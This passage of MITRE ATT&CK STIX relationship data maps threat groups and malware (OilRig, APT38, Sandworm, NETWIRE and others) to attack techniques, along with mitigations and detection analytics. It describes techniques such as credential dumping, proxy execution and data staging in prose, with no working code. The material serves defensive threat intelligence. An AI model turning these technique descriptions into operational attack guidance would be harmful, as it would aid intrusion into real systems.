"2022-09-27T16:17:49.276Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used PowerShell on compromised systems.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c274d8fa-8de4-4108-9d6f-9229edf752af", "created": "2022-10-10T16:30:08.208Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-10T16:30:08.208Z", "description": "For [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors registered a variety of domains.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c27b0834-d1b8-440f-9b35-e15e78ecd715", "created": "2020-03-19T23:50:06.591Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT34 July 2019", "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"}, {"source_name": "FireEye APT34 Webinar Dec 2017", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}, {"source_name": "FireEye APT35 2018", "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}, {"source_name": "Unit42 OilRig Playbook 2023", "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.", "url": "https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T20:40:01.702Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c27c2970-ae12-46a0-99f8-2aa9137a8de3", "type": "relationship", "created": "2021-09-29T20:46:38.426Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T20:46:38.426Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c27ce374-d022-4214-a5ad-206f48ffea8d", "created": "2024-02-14T21:30:37.743Z", "revoked": false, "external_references": [{"source_name": "Trellix Darkgate 2023", "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. 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Retrieved August 19, 2021."}], "modified": "2021-08-23T19:38:33.285Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) modifies several registry keys for persistence and UAC bypass.(Citation: Arxiv Avaddon Feb 2021)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c280ba3f-7210-4608-b895-d29932938fe7", "type": "relationship", "created": "2021-06-21T18:07:57.521Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Cuba April 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf", "description": "Roccio, T., et al. (2021, April). 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Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:01.614Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) can kill AV products' processes.(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c2909563-2b7e-48d6-b165-05b8eff63862", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "PWC Cloud Hopper April 2017", "url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[menuPass](https://attack.mitre.org/groups/G0045) has collected data from remote systems by mounting network shares with <code>net use</code> and using Robocopy to transfer data.(Citation: PWC Cloud Hopper April 2017)", "modified": "2022-07-20T20:07:40.183Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c29136ea-6925-4fc5-a281-b5351cef050d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 DarkHydrus July 2018", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}], "modified": "2019-04-24T23:55:43.451Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) checks the running processes for evidence it may be running in a sandbox environment. It specifically enumerates processes for Wireshark and Sysinternals.(Citation: Unit 42 DarkHydrus July 2018)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c291a0b4-31b5-4075-9672-b10b0e7bd4cc", "type": "relationship", "created": "2021-10-08T14:20:51.432Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-10-08T14:20:51.432Z", "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) has compromised legitimate email accounts to use in their spearphishing operations.(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", "target_ref": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c291bd7d-bf11-4be0-8d31-77055bb7675a", "type": "relationship", "created": "2020-07-16T15:23:48.446Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. 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Retrieved July 16, 2020."}], "modified": "2020-07-23T16:50:06.786Z", "description": "[Kessel](https://attack.mitre.org/software/S0487) can exfiltrate credentials and other information via HTTP POST request, TCP, and DNS.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c296b445-a4b5-4e73-91b0-0c6c9f3eed1b", "type": "relationship", "created": "2020-10-20T15:42:48.349Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-16T17:09:26.487Z", "description": "Organizations may intentionally register similar domains to their own to deter adversaries from creating typosquatting domains. Other facets of this technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c298538c-bab6-4982-9b83-17f752358932", "type": "relationship", "created": "2021-10-12T21:57:25.960Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. 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Retrieved December 13, 2022.", "url": "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-12T15:30:15.483Z", "description": "[SVCReady](https://attack.mitre.org/software/S1064) has the ability to determine if its runtime environment is virtualized.(Citation: HP SVCReady Jun 2022)", "relationship_type": "uses", "source_ref": "malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2a79396-f264-4439-94f1-113e3bf3a6be", "type": "relationship", "created": "2021-02-16T20:04:52.503Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-23T18:18:43.360Z", "description": "Disable Wake-on-LAN if it is not needed within an environment.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c2b48ab4-6a4f-4252-a40c-7f870276b5a7", "created": "2022-10-12T12:47:57.381Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MSTIC DEV-0537 Mar 2022", "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T18:47:22.092Z", "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has gathered employee email addresses, including personal accounts, for social engineering and initial access efforts.(Citation: MSTIC DEV-0537 Mar 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2b4c63c-4524-4058-82ef-c67c5d410291", "type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "Monitor for newly constructed windows registry keys that may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.", "source_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2b9d474-44f8-4815-9f60-be81af2776ab", "type": "relationship", "created": "2020-10-20T03:24:09.371Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:29:18.851Z", "description": "This cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2ba1f7a-1951-47df-855b-3f42a60a9901", "type": "relationship", "created": "2020-05-15T13:43:22.793Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist DarkVishnya Dec 2018", "url": "https://securelist.com/darkvishnya/89169/", "description": "Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}], "modified": "2020-05-15T13:43:22.793Z", "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) used network sniffing to obtain login data. (Citation: Securelist DarkVishnya Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2bbf923-e30e-4888-894c-7c8ba655c753", "type": "relationship", "created": "2019-06-05T13:57:44.690Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NJCCIC Ursnif Sept 2016", "url": "https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif", "description": "NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019."}, {"source_name": "ProofPoint Ursnif Aug 2016", "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality", "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."}], "modified": "2019-06-24T16:46:20.332Z", "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used a peer-to-peer (P2P) network for C2.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)", "relationship_type": "uses", "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2bc4c63-486f-4c92-9eaa-ece8226ec70c", "type": "relationship", "created": "2020-02-27T18:17:58.910Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://adsecurity.org/?p=2293", "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", "source_name": "AdSecurity Cracking Kerberos Dec 2015"}], "modified": "2022-03-08T21:52:42.741Z", "description": "Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.(Citation: AdSecurity Cracking Kerberos Dec 2015)", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c2bfefa1-ccd3-4d8d-82d1-275507546de0", "created": "2021-01-07T21:09:51.828Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye NETWIRE March 2019", "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.", "url": "https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-13T18:16:43.585Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can use Native API including <code>CreateProcess</code> <code>GetProcessById</code>, and <code>WriteProcessMemory</code>.(Citation: FireEye NETWIRE March 2019)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c2c31b26-7e42-43b6-964b-c959cabc53a4", "created": "2022-07-14T17:51:26.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BlackBerry Amadey 2020", "description": "Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.", "url": "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T15:36:58.823Z", "description": "[Amadey](https://attack.mitre.org/software/S1025) has overwritten registry keys for persistence.(Citation: BlackBerry Amadey 2020)", "relationship_type": "uses", "source_ref": "malware--05318127-5962-444b-b900-a9dcfe0ff6e9", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c2ccc0af-d25a-4ea2-af7c-a2f71f2aba44", "created": "2023-04-15T00:44:21.706Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Defend UNC2452 White Paper", "description": "Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.", "url": "https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-03T15:44:09.181Z", "description": "Monitor for changes to account settings associated with users/tenants that may impact defensive logging capabilities, such as the `Update User` and `Change User License` events in the Azure AD audit log.(Citation: Mandiant Defend UNC2452 White Paper)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c2cd39bc-7955-42d3-9e67-b1315b098c07", "created": "2023-08-11T15:26:41.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T15:06:41.614Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on RPC network flows.\n\nWhen a\u00a0Windows Remote Management\u00a0connection is opened, the client sends HTTP requests to port 5985 for HTTP or 5986 for HTTPS on the target host. Each HTTP(S) request to the URI \u201c/wsman\u201d is called, and other information is set in the headers. Depending on the operation, the HTTP method may vary (i.e., GET, POST, etc.). This analytic would detect Remote PowerShell, as well as other communications that rely on WinRM. Additionally, it outputs the executable on the client host, the connection information, and the hostname of the target host. Look for network connections to port 5985 and 5986. To really decipher what is going on, these outputs should be fed into something that can do packet analysis.\n\nNote: Traffic to the RPC Endpoint Mapper will always have the destination port of 135. Assuming success, RPC traffic will continue to the endpoint. The endpoint and the client both bind to dynamically assigned ports (on Windows, this is typically greater than 49152). The traffic between the client and endpoint can be detected by looking at traffic to 135 followed by traffic where the source and destination ports are at least 49152.\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c2d06b1b-823c-4f94-9b11-79892bca9f4e", "created": "2021-10-15T20:27:54.926Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Dragos Crashoverride 2018", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}, {"source_name": "Microsoft Prestige ransomware October 2022", "description": "MSTIC. (2022, October 14). New \u201cPrestige\u201d ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-03T18:04:39.628Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used `move` to transfer files to a network share and has copied payloads--such as [Prestige](https://attack.mitre.org/software/S1058) ransomware--to an Active Directory Domain Controller and distributed via the Default Domain Group Policy Object.(Citation: Dragos Crashoverride 2018)(Citation: Microsoft Prestige ransomware October 2022) ", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2d97d3f-c597-4070-acb0-6c000eac5d39", "type": "relationship", "created": "2019-12-30T21:43:04.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-25T23:30:20.847Z", "description": "Do not allow administrator accounts that have permissions to add component software on these services to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems. ", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2e18006-9caf-494c-9d41-4a4ef5b3bf78", "type": "relationship", "created": "2020-02-05T16:16:08.603Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-05T16:16:08.603Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2e25ecf-13c9-42c1-87cc-6072343156aa", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 